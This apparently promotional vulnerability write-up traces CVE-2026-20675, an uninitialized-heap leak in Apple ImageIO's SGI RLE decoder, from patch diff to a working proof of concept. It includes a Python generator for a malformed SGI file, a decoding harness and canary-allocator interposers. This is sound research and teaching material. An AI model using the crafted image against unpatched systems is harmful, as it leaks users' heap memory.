Patch diffing is powerful, we show you why. Starting with Apple's one-line advisory for CVE-2026-20675, we extract the vulnerable code from ImageIO's diff, build a harness, craft an exploit, and trigger the bug live on vulnerable macOS. The journey: patch diff → PoC → harness → crash.

Learn this hands-on

Everything in this write-up — fuzzing ImageIO, building a decoder harness, and turning a one-line patch diff into a working PoC — is exactly what you practice in iOS Userland Fuzzing & Exploitation: AFL++/LibAFL, LLDB, and 0-click exploit development against real Apple targets on a Corellium iPhone.

Explore the iOS Userland Fuzzing course →

TL;DR — CVE-2026-20675 is an uninitialized-heap information disclosure in Apple ImageIO's SGI (Silicon Graphics Image) decoder. The RLE code path (SGIReadPlugin::decodeSGI_RLEcompressed) validates each scanline's offset and length against the file size individually, but never checks offset + length. A scanline whose two fields are each in-range but whose sum overruns the file causes the decompressor to consume the uninitialized tail of its scratch buffer and copy those bytes into the output image. We isolated the fix by diffing macOS 26.2 vs 26.3 (SGI isn't reachable on iOS), built the trigger from the added check, and confirmed the leak on a live vulnerable macOS with a canary allocator: whatever byte we place in freshly-allocated memory appears verbatim in the decoded pixels. Apple's "disclosure of user information" is exactly right.

Background: ImageIO and the SGI Format

ImageIO is Apple's core image-parsing framework, embedded in the dyld_shared_cache on every Apple platform. It decodes every image format the OS supports through a plugin architecture: each format is an IIOReadPlugin subclass with a decodeImageImp method. Because thumbnails, previews, Mail, Safari, and Quick Look all funnel image data through ImageIO, a memory-safety bug here is reachable in a huge number of contexts.

The format that matters here is SGI — the Silicon Graphics Image format (.sgi, .rgb, .bw). It is old, simple, and rarely scrutinized. Its 512-byte big-endian header:

offset  field       meaning
  0     magic       0x01DA (474)
  2     storage     0 = verbatim, 1 = RLE
  3     bpc         bytes per channel (1 or 2)
  4     dimension   1..3
  6     xsize       width   (u16)
  8     ysize       height  (u16)
 10     zsize       channels(u16)
 ...    (name, pixmin/max, colormap) → 512-byte header

In RLE mode, the header is followed by two per-scanline tables of ntables = ysize × zsize big-endian uint32s — a start-offset table and a byte-length table — locating each scanline's compressed run data inside the file. Those two attacker-controlled tables are the whole story.

Apple Security Advisory (support.apple.com/en-us/126347)

  • Component: ImageIO
  • Impact: Processing a maliciously crafted image may lead to disclosure of user information
  • Fix: "The issue was addressed with improved bounds checks."
  • Reporter: George Karchemsky (@gkarchemsky), Trend Micro Zero Day Initiative (ZDI-26-174)
  • Fixed in: macOS/iOS 26.3

Stage 1 — The Patch Diff

The macOS pivot

Our first instinct was to diff iOS (26.2.1 → 26.3), which is what our earlier post did. That analysis drowned in noise — a Kakadu JPEG2000 SDK bump, a libwebp rebuild, and a framework-wide -fbounds-safety recompile — and fixated on a uniform if (IIOImageType > 3) trap() guard that turned out to be a red herring (it is bounds-safety instrumentation, present in every decoder, not the CVE).

The breakthrough was a reachability check. Enumerating supported decoders on each platform:

CGImageSourceCopyTypeIdentifiers():
  iOS 26.1      → 60 types, NO "com.sgi.sgi-image"
  macOS 26.3    → 62 types, INCLUDES "com.sgi.sgi-image"

iOS does not register an SGI reader. The code is compiled into the shared cache (the magic check cmp w0, 0x1DA is present) but it is never wired into the plugin table, so CGImageSource will not dispatch to it. That is exactly why ZDI scopes CVE-2026-20675 to Apple macOS. Diffing iOS binaries for this bug is a dead end — and indeed, all of the iOS SGI functions are byte-identical between 26.2.1 and 26.3.

So we pivoted to the correct target: the macOS ImageIO dylib.

RoleVersionBuildArch
VulnerablemacOS 26.225C56arm64e
PatchedmacOS 26.325D125arm64e

We extracted ImageIO from each machine's shared cache with ipsw dyld macho … --extract. Crucially, the macOS build retains full C++ symbols for the SGI reader — SGIReadPlugin::decodeSGI_RLEcompressed, decodeSGI_Uncompressed, initialize, testHeader — which iOS strips. That turned a needle-in-a-haystack search into a targeted four-function diff.

The toolchain

The entire diff runs on two tools plus a few lines of shell — no IDA, no Ghidra GUI, no JVM:

ToolRole
ipsw (blacktop)download the shared cache and carve out the ImageIO dylib
rz-bin / rz-diff (rizin)list symbols, and structurally diff ~14k functions to rank what changed
rizin pdf / r2ghidra pdgdisassembly and JVM-free decompilation of one function, before vs after
sed + diffnormalize away address rebasing and register allocation, isolating the semantic change

Downloading the version pair

Diff adjacent releases to minimise unrelated noise — the patched build and the one immediately before it. ipsw resolves a macOS version to its build number (and firmware URL) with --urls, and hw.model feeds it the right device:

MODEL=$(sysctl -n hw.model)      # e.g. Mac15,10
ipsw download ipsw --macos --device "$MODEL" --version 26.3 --urls | head -1   # → 25D125 (patched)
ipsw download ipsw --macos --device "$MODEL" --version 26.2 --urls | head -1   # → 25C56  (vuln)
RoleOSBuild
VulnerablemacOS 26.225C56
PatchedmacOS 26.325D125

You never need the full ~14 GB firmware. --dyld streams only the shared cache out of the remote IPSW over HTTP range requests — a few GB — and if your own machine already runs the patched build, its live cache is the fixed side for free:

# patched side — free, straight from THIS machine's live cache
PATCHED_CACHE=/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# vulnerable side — remote-stream just the arm64e cache (not the whole IPSW)
ipsw download ipsw --macos --device "$MODEL" --version 26.2 \
    --dyld --dyld-arch arm64e --confirm --output ./macos/vuln

Extracting the dylib — and verifying the code is there

ipsw dyld macho … --extract carves a single image out of each cache:

DYLIB=/System/Library/Frameworks/ImageIO.framework/Versions/A/ImageIO
ipsw dyld macho "$PATCHED_CACHE"                        "$DYLIB" --extract --output ./macos/patched
ipsw dyld macho ./macos/vuln/*/dyld_shared_cache_arm64e "$DYLIB" --extract --output ./macos/vuln

Then the two-second check that would have saved us a day: confirm the vulnerable code actually lives in this binary before diffing. Our first pass diffed iOS ImageIO — which contains no SGI parser at all — and burned hours on a binary that never had the bug. A symbol grep catches it instantly:

$ rz-bin -q -s ./macos/patched/ImageIO | grep -i sgi
...  SGIReadPlugin::decodeSGI_RLEcompressed(unsigned char*, unsigned long)
...  SGIReadPlugin::decodeSGI_Uncompressed(unsigned char*, unsigned long)
...  SGIReadPlugin::initialize(IIODictionary*)
# (empty result → wrong binary / OS — stop and re-scope)

$ md5 -q macos/vuln/ImageIO macos/patched/ImageIO      # must differ

Locating the SGI decoder

rizin's is command lists symbols; filtering for SGI on the vulnerable binary points straight at the four functions worth diffing:

$ rizin -q -c "is~SGI" vuln_262/ImageIO
0x18d45044c  SGIReadPlugin::initialize(IIODictionary*)
0x18d4506bc  SGIReadPlugin::decodeSGI_RLEcompressed(unsigned char*, unsigned long)
0x18d593dac  SGIReadPlugin::decodeSGI_Uncompressed(unsigned char*, unsigned long)
0x18d594288  SGIReadPlugin::decodeImageImp(IIODecodeParameter*, IIOImageType, ...)
0x18d392074  IIO_Reader_SGI::testHeader(unsigned char const*, ...)

On iOS the same query returns only the UTI string constant — the reader is compiled in but never registered. We confirmed the dormant code is still there by searching for the SGI magic number (474 = 0x1DA) as an instruction immediate:

$ rizin -q -c "/a mov w8, 0x1da" patched_ios/ImageIO     # matches the format check
0x186073bd0  ...   ; the SGI testHeader, present but unreachable via the plugin table

Diffing the decoder function

For each candidate we disassemble the same function in both binaries and diff — but a raw diff is useless, because every address and half the register names differ between builds. The trick is a one-line normalizer that masks addresses to A and registers to R, leaving only mnemonics and structure:

# keep instruction stream; mask addresses (A) and registers (R)
strip(){ sed -E 's/^0x[0-9a-f]+[[:space:]]+//; s/0x[0-9a-f]+/A/g; s/(x|w)[0-9]+/R/g'; }

# disassemble decodeSGI_RLEcompressed in each build, normalize, diff
rizin -q -c "af @ 0x18d4506bc; pdf @ 0x18d4506bc" vuln_262/ImageIO    | strip > rle_v.txt
rizin -q -c "af @ 0x18d4a3584; pdf @ 0x18d4a3584" patched_263/ImageIO | strip > rle_p.txt

diff -u rle_v.txt rle_p.txt

Run across all four SGI functions, this immediately sorts signal from noise: decodeSGI_Uncompressed differs only in compiler function-outlining numbers, initialize gained generic -fbounds-safety range checks, and decodeSGI_RLEcompressed yields exactly one semantic change — the added offset + length comparison. That normalized diff is what the next section reads.

The one function that mattered

Diffing the SGI functions (normalized for address rebasing and register allocation), decodeSGI_Uncompressed differed only in compiler function-outlining numbers, and the header parser gained some -fbounds-safety range checks. The single security-relevant semantic change was in decodeSGI_RLEcompressed, in the loop that validates the scanline offset/length tables:

Vulnerable — macOS 26.2

ldr   x9,  [x22, 0xc8]        ; x9 = bytesAvailable (file size)
ldr   w10, [x19, x8, lsl 2]   ; w10 = offsetTable[i]
rev   w10, w10
cmp   x9, w10
b.ls  <err>                   ; err if fileSize <= offset
ldr   w10, [x20, x8, lsl 2]   ; w10 = lengthTable[i]
rev   w10, w10
cmp   x9, w10
b.ls  <err>                   ; err if fileSize <= length
cmp   w0, w10
csel  w0, w0, w10, hi         ; w0 = max(length)  → decompress buffer size

Patched — macOS 26.3

ldr   x9,  [x22, 0xc8]        ; fileSize
ldr   w10, [x19, x8, lsl 2]   ; offset
ldr   w11, [x20, x8, lsl 2]   ; length              ; <-- now loads BOTH
rev   w10, w10
rev   w11, w11
add   w12, w11, w10           ; w12 = offset + length ; <-- NEW
cmp   x9, w10                 ; fileSize vs offset
ccmp  x9, w11, #0, hi         ;   && fileSize vs length
ccmp  x9, w12, #0, hi         ;   && fileSize vs (offset+length) ; <-- NEW CHECK
b.lo  <err>                   ; err unless all three hold

The vulnerable code checks offset < fileSize and length < fileSize separately. The patch adds a third comparison: offset + length ≤ fileSize. That is the entire fix — a classic "each field is valid, but their sum isn't" bounds bug.

Stage 2 — Building the PoC From the Diff

The diff hands us the trigger directly. We need a valid RLE SGI where, for at least one scanline:

  • offset < fileSize ✓ (passes the old offset check)
  • length < fileSize ✓ (passes the old length check)
  • offset + length > fileSize ✗ (only the new check catches this)

A minimal generator — a real 64×64×3 RLE image, with scanline 0's table entries tampered:

import struct
def hdr(bpc,x,y,z):
    h=bytearray(512); struct.pack_into('>H',h,0,474)   # magic
    h[2]=1; h[3]=bpc                                   # storage=RLE, bpc
    struct.pack_into('>H',h,4,3)                       # dimension
    struct.pack_into('>H',h,6,x); struct.pack_into('>H',h,8,y)
    struct.pack_into('>H',h,10,z); struct.pack_into('>I',h,16,255)
    return h

def rle_row(npix):                                     # simple valid RLE scanline
    out=bytearray(); left=npix
    while left>0:
        r=min(0x7f,left); out.append(r); out.append(0xAB); left-=r
    out.append(0); return bytes(out)

x,y,z,bpc = 64,64,3,1
nt=y*z; row=rle_row(x); ds=512+nt*8
filesize = ds+len(row)
off=[ds]*nt; ln=[len(row)]*nt
off[0]=filesize-2; ln[0]=filesize-2                    # each < filesize, sum ≈ 2×filesize
ot=b''.join(struct.pack('>I',o) for o in off)
lt=b''.join(struct.pack('>I',l) for l in ln)
open('poc_sgi_rle_oob_minimal.sgi','wb').write(bytes(hdr(bpc,x,y,z))+ot+lt+row)

The resulting file is 2051 bytes. Scanline 0 has offset = 2049 and length = 2049 — both below 2051, so 26.2 accepts them — but offset + length = 4098, which only 26.3 rejects. Exactly the condition the patch added.

host_probe accepting a 576-byte crafted RLE SGI as a 32768x32768 image on the vulnerable macOS
Running the harness on the vulnerable macOS: a 576-byte crafted RLE SGI (poc_sgi_intoverflow_rle.sgi) is accepted as a 32768×32768 image — ImageIO trusts the attacker-supplied dimensions. The hash da39a3ee… is SHA-1 of empty data: the 4 GB pixel buffer is never materialized, so no pixels are returned in this variant.

What the bug actually does

The decoder allocates a scratch buffer sized to the largest scanline length, then for each scanline calls getBytesAtOffset(buf, offset, length). That copy safely clamps to the bytes actually present in the file (min(length, fileSize − offset)) — so when offset + length > fileSize, only part of the buffer is filled and the tail is left uninitialized. The RLE decompressor then consumes the full length, reading that uninitialized tail and emitting it into the output image. That is the information leak.

Stage 3 — Building the Harness

🎯 Harness construction for ImageIO, CoreText and CoreAudio is a full module in iOS Userland Fuzzing & Exploitation — build the harness, wire it into AFL++/LibAFL, and drive it against a live iPhone.

To exercise the exact code path, we need a minimal ImageIO decoder. On macOS that is a dozen lines of Objective-C — no app, no entitlements:

// host_probe.m  —  clang -framework ImageIO -framework CoreFoundation \
//                        -framework CoreGraphics -o host_probe host_probe.m
#import <ImageIO/ImageIO.h>
#import <CoreFoundation/CoreFoundation.h>
int main(int argc, char **argv) {
  CFStringRef p = CFStringCreateWithCString(NULL, argv[1], kCFStringEncodingUTF8);
  CFURLRef    u = CFURLCreateWithFileSystemPath(NULL, p, kCFURLPOSIXPathStyle, false);
  CGImageSourceRef s = CGImageSourceCreateWithURL(u, NULL);
  if (!s) { printf("NOSRC\n"); return 0; }
  CGImageRef img = CGImageSourceCreateImageAtIndex(s, 0, NULL);
  if (img) {
    CGDataProviderRef dp = CGImageGetDataProvider(img);     // force pixel decode
    CFDataRef px = dp ? CGDataProviderCopyData(dp) : NULL;
    unsigned char h[20];
    if (px) { CC_SHA1(CFDataGetBytePtr(px), CFDataGetLength(px), h); /* print hash */ }
  }
  return 0;
}

Two problems stand between this and a clean read-vs-write verdict, and each needs a small tool.

Problem 1 — ImageIO bypasses the sanitizers

We compiled an AddressSanitizer build to try to catch the bad read. It reported nothing — because ImageIO allocates through the typed allocator (malloc_type_malloc / malloc_type_calloc), which ASan does not intercept, and its large image buffers come from __ImageIO_Malloc, which is backed by mmap, not the malloc heap. Neither carries ASan redzones. We bridged the typed allocator to the ASan-instrumented one with a tiny interposer:

// interpose_mt.dylib — route malloc_type_* to plain malloc/calloc (ASan-visible)
static void *x_malloc(size_t s, unsigned long long t){ return malloc(s); }
static void *x_calloc(size_t c,size_t s,unsigned long long t){ return calloc(c,s); }
#define IP(n,o) __attribute__((used,section("__DATA,__interpose"))) \
  static const struct{const void*a;const void*b;}_ip_##o={(const void*)n,(const void*)o};
IP(x_malloc, malloc_type_malloc)
IP(x_calloc, malloc_type_calloc)
// ... realloc/valloc/aligned + zone variants ...

With DYLD_INSERT_LIBRARIES=interpose_mt.dylib, dyld confirms it redirects every malloc_type_* symbol, and ~2,200 ImageIO allocations per decode now carry redzones.

Problem 2 — the real detector is a canary allocator

Even with ImageIO instrumented, ASan stays silent on the PoC. That is not a null result — it is diagnostic. We proved there is no out-of-bounds access by feeding the file through a malloc'd buffer of exactly the file size (CFDataCreateWithBytesNoCopy + CGImageSourceCreateWithData), so ImageIO reads our redzoned buffer. Even with offset + length ≈ 2×fileSize, ASan does not fire — meaning getBytesAtOffset clamps and never reads past the input. The leak is a read of uninitialized bytes inside a valid allocation, which is MemorySanitizer's domain, and MSan doesn't exist for macOS/arm64 system libraries.

So we built the practical equivalent: a canary allocator that fills every freshly-allocated (non-zeroing) block with an env-controlled byte, leaving calloc zeroing. If uninitialized memory reaches the output, the canary byte will appear in the decoded pixels.

// interpose_canary.dylib — fill fresh allocations with $CANARY
static unsigned char CAN = 0xCC;
static void *m(size_t s){ void*p=malloc(s); if(p) memset(p,CAN,s); return p; }
static void *x_malloc(size_t s, unsigned long long t){ return m(s); }
static void *x_calloc(size_t c,size_t s,unsigned long long t){ return calloc(c,s); } // stays zeroed
IP(m, malloc)  IP(x_malloc, malloc_type_malloc)  IP(x_calloc, malloc_type_calloc)
// constructor: CAN = getenv("CANARY")

Stage 4 — Running the PoC

Differential: vulnerable vs patched

First, the black-box behavior on the two builds. On the vulnerable macOS 26.2 the PoC decodes to a real image; on patched 26.3 every OOB PoC collapses to a single uniform blank — the offset+length check rejecting it:

vuln  26.2  poc_sgi_rle_oob_minimal.sgi  → OK 64x64  pix=af71a978...
patch 26.3  poc_sgi_rle_oob_minimal.sgi  → OK 64x64  pix=547372f1...  (uniform blank)
both        benign valid_rle.sgi         → identical, stable

The canary proof

Now the decisive run. We decode the PoC on the vulnerable host while varying the canary byte, and count how many bytes of that value appear in the 16,384-byte decoded image. Because a fill byte like 0xCC is itself a valid RLE literal-run opcode, the uninitialized tail is copied verbatim into the pixels:

Fill byte ($CANARY)Bytes of that value in outputOutput SHA-1
0xCC62cfcfa023…
0xC16287813253…
0x41623194d696…
0xAA62c2d8d181…
benign valid_rle.sgi0identical every time

Whatever byte we place in freshly-allocated heap shows up — verbatim, 62 times — in the decoded image, and the whole image tracks it. A benign image never does. That is the vulnerability made concrete: uninitialized heap contents are copied straight into the output pixels, where an attacker who gets the rendered/re-encoded image back can read them. In a real decode those 62 bytes are whatever previously lived in that freed heap region.

Terminal: host_leak run on vulnerable macOS 26.2 showing the SGI RLE uninitialized-heap leak
Live run on the vulnerable macOS 26.2 (25C56): for every canary fill byte, exactly 62 bytes of that value surface in the decoded image, and the output hash tracks the leaked heap. The benign image leaks nothing.

Read, not write

ZDI-26-174 is titled "Integer Overflow → Remote Code Execution." Our evidence — the patch (a read-bounds check), ~12k fuzzing iterations under normal / Guard Malloc / ASan, and the canary experiment — all point to an out-of-bounds / uninitialized read (information disclosure, CWE-908), matching Apple's own wording. We could not reproduce a controlled heap write: the RLE decompressor bounds its output to xsize, the dimensions are clamped (zsize ≤ 4, bpc ≤ 2) so the size arithmetic doesn't overflow, and no crafted input crashed. If a write/RCE primitive exists it needs conditions beyond this harness; on the binary and dynamic evidence, this is an info-leak.

Why ASan Couldn't See It — and What Could

This bug is a useful lesson in sanitizer scope:

  • AddressSanitizer detects accesses past an allocation (redzones) and use-after-free. The SGI leak reads uninitialized bytes that are still inside a valid allocation — no redzone is ever crossed.
  • Guard Malloc is silent for the same reason, and doubly so because ImageIO's big buffers are mmap-backed, not malloc-zoned.
  • MemorySanitizer is the correct tool (it tracks uninitialized reads), but it is unavailable for macOS/arm64 system frameworks — you'd have to recompile ImageIO.
  • The canary allocator is the practical stand-in: fill fresh memory with a marker and watch for it in the output. It gave us an unambiguous, scriptable proof.

Lessons for Vulnerability Researchers

1. Diff the platform where the bug lives

The whole investigation turned on realizing SGI isn't registered on iOS. Enumerating CGImageSourceCopyTypeIdentifiers on each platform before diffing would have saved the first, inconclusive pass. Match your binaries to the advisory's actual attack surface.

2. macOS symbols > iOS symbols

The macOS ImageIO retains C++ symbols (SGIReadPlugin::decodeSGI_RLEcompressed) that iOS strips. When a bug is cross-platform, diff the build that keeps names — it collapses a 14,000-function search to a handful.

3. "Each field is valid" is not "the combination is valid"

The bug is a textbook missing a + b check where a and b are individually validated. When you see per-field bounds checks, always ask whether the sum, product, or range is checked too.

4. Pick the sanitizer that matches the bug class

Reaching for ASan on an uninitialized-memory disclosure wastes time. Know what each tool detects; when none fits, a 30-line interposer (typed-malloc bridge, canary fill) is often the fastest path to ground truth.

By the Numbers

ItemValue
Vulnerable / patchedmacOS 26.2 (25C56) → 26.3 (25D125), arm64e
Vulnerable functionSGIReadPlugin::decodeSGI_RLEcompressed
Root causemissing offset + length ≤ fileSize check (RLE scanline table)
Bug classuninitialized-heap read / info disclosure (CWE-908)
Minimal PoC2051-byte RLE SGI; scanline 0 offset=length=2049
Leak demonstrated62 verbatim heap bytes per 64×64 image (canary-controlled)
iOS reachable?No — SGI reader not registered (macOS-only)

How to Practice This Kind of Analysis

Binary patch diffing, harness construction, and dynamic confirmation are core skills for vulnerability researchers. Mobile Hacking Lab's courses teach the exact techniques used here:

  • Free Mobile Security Labs — reverse-engineer mobile apps, hook native code with Frida, and learn platform security models across iOS and Android.
  • iOS Userland Fuzzing & Exploitation — fuzz ImageIO, CoreText, and CoreAudio with AFL++ and LibAFL, triage crashes with LLDB, and build working 0-click exploits against real iOS targets on a Corellium iPhone. The exact ImageIO codec path analyzed here is a course lab.
  • Free Mobile Security Labs — hands-on fundamentals with reverse engineering and Frida instrumentation across iOS and Android.

Start the iOS Userland Fuzzing & Exploitation course →

References

  • Apple Security Advisory — macOS 26.3
  • Trend Micro Zero Day Initiative — ZDI-26-174 (CVE-2026-20675)
  • ipsw — firmware / dyld_shared_cache extraction
  • rizin (rz-diff) — binary diffing and reverse engineering
  • Clang -fbounds-safety — the framework-wide hardening that dominated the noise

Want to learn binary patch diffing, harness construction, and exploit development for mobile and native platforms? Mobile Hacking Lab provides pre-configured virtual labs where you practice real reverse engineering and exploitation. Start with the free labs, or jump to iOS Userland Fuzzing & Exploitation. For discovering bugs like this at scale, see Djini.ai — AI-powered vulnerability discovery for OOB reads, memory corruption, and logic flaws across mobile and native codebases.